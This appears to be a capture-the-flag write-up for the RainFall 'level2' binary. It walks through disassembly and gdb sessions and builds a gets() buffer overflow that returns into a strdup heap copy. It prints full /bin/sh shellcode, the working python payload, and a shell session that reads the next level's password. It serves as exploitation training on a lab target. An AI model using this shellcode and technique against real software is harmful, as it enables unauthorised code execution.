Code has 1 function that's interesting : p. ``` 0x080484d4 : push ebp 0x080484d5 : mov ebp,esp 0x080484d7 : sub esp,0x68 0x080484da : mov eax,ds:0x8049860 0x080484df : mov DWORD PTR [esp],eax 0x080484e2 : call 0x80483b0 0x080484e7 : lea eax,[ebp-0x4c] 0x080484ea : mov DWORD PTR [esp],eax 0x080484ed : call 0x80483c0 0x080484f2 : mov eax,DWORD PTR [ebp+0x4] 0x080484f5 : mov DWORD PTR [ebp-0xc],eax 0x080484f8 : mov eax,DWORD PTR [ebp-0xc] 0x080484fb : and eax,0xb0000000 0x08048500 : cmp eax,0xb0000000 0x08048505 : jne 0x8048527 0x08048507 : mov eax,0x8048620 0x0804850c : mov edx,DWORD PTR [ebp-0xc] 0x0804850f : mov DWORD PTR [esp+0x4],edx 0x08048513 : mov DWORD PTR [esp],eax 0x08048516 : call 0x80483a0 0x0804851b : mov DWORD PTR [esp],0x1 0x08048522 : call 0x80483d0 <_exit@plt> 0x08048527 : lea eax,[ebp-0x4c] 0x0804852a : mov DWORD PTR [esp],eax 0x0804852d : call 0x80483f0 0x08048532 : lea eax,[ebp-0x4c] 0x08048535 : mov DWORD PTR [esp],eax 0x08048538 : call 0x80483e0 0x0804853d : leave 0x0804853e : ret ``` *Fig 1. Disassembly of p function* We notice there's a get to exploit, however, we have no idea where we could return as there is no shell opened anywhere in the program. We have to use a shellcode for this, which is a asm code that opens a shell. We are going to put in in our input string, and jump onto the start of it. First step is to find the return address' of p in the stack. ``` (gdb) b *p+0 Breakpoint 2 at 0x80484d4 (gdb) run Starting program: /home/user/level2/level2 Breakpoint 2, 0x080484d4 in p () (gdb) p $esp $1 = (void *) 0xbffff72c ``` Then we'll need to figure out the size of our gets stack, we can count ``` 0x080484d4 : push ebp // esp -= 4 0x080484d5 : mov ebp,esp // ebp = esp 0x080484d7 : sub esp,0x68 // allocate 104 bytes 0x080484da : mov eax,ds:0x8049860 0x080484df : mov DWORD PTR [esp],eax 0x080484e2 : call 0x80483b0 0x080484e7 : lea eax,[ebp-0x4c] // read to top 76 bytes 0x080484ea : mov DWORD PTR [esp],eax 0x080484ed : call 0x80483c0 ``` So we have 76 bytes for the correct usage of the function, then 4 bytes that should contain the old value of ebp, then we should be at our ret address. So we will put our shell code, then some 'A's until 80 characters, then the address of our shell code which should be the ret address + 8. Let's try :) Shellcode is 46 bytes long, so we need 34 'A' Here is the shellcode taken from the internet : \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 ``` level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x24\xf7\xff\xbf')"; cat) | ./level2 (0xbffff724) whoami ``` It print's our return address and then exits to cat but no shell was opened. This is because we entered this branch ``` 0x080484f2 : mov eax,DWORD PTR [ebp+0x4] // eax = ebp[4] ^ This line puts the return address's value of p function into eax register 0x080484f5 : mov DWORD PTR [ebp-0xc],eax // ebp[-12] = eax 0x080484f8 : mov eax,DWORD PTR [ebp-0xc] // eax = ebp[-12] 0x080484fb : and eax,0xb0000000 0x08048500 : cmp eax,0xb0000000 0x08048505 : jne 0x8048527 0x08048507 : mov eax,0x8048620 0x0804850c : mov edx,DWORD PTR [ebp-0xc] 0x0804850f : mov DWORD PTR [esp+0x4],edx 0x08048513 : mov DWORD PTR [esp],eax 0x08048516 : call 0x80483a0 0x0804851b : mov DWORD PTR [esp],0x1 0x08048522 : call 0x80483d0 <_exit@plt> ``` So we cannot ever return on our string. At the end of the function tho, strdup is called on our string ``` 25 0x08048527 : lea eax,[ebp-0x4c] 26 0x0804852a : mov DWORD PTR [esp],eax 27 0x0804852d : call 0x80483f0 28 0x08048532 : lea eax,[ebp-0x4c] // same as gets argument 29 0x08048535 : mov DWORD PTR [esp],eax 30 0x08048538 : call 0x80483e0 31 0x0804853d : leave ``` So we can check the return address of strdup. ``` (gdb) b *p+105 Breakpoint 1 at 0x804853d (gdb) run < shellcode_bf Starting program: /home/user/level2/level2 < shellcode_bf (0xbffff724) [Inferior 1 (process 5098) exited with code 01] (gdb) run < exploit3.txt Starting program: /home/user/level2/level2 < exploit3.txt �����������������1��F1�1�̀�[1��C��C � ��S �����/bin/sh�������������� Breakpoint 1, 0x0804853d in p () (gdb) i r eax 0x804a008 134520840 ecx 0x0 0 edx 0xbffff6dc -1073744164 ebx 0xb7fd0ff4 -1208152076 esp 0xbffff6c0 0xbffff6c0 ebp 0xbffff728 0xbffff728 esi 0x0 0 edi 0x0 0 eip 0x804853d 0x804853d eflags 0x200282 [ SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) ``` We see eax is 0x804a008, let's replace our command with this address. ```(python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2``` ``` level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2 1��F1�1�̀�[1��C��C � ��S �����/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAA� whoami level3 cat /home/user/level3/.pass 492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02 ``` :)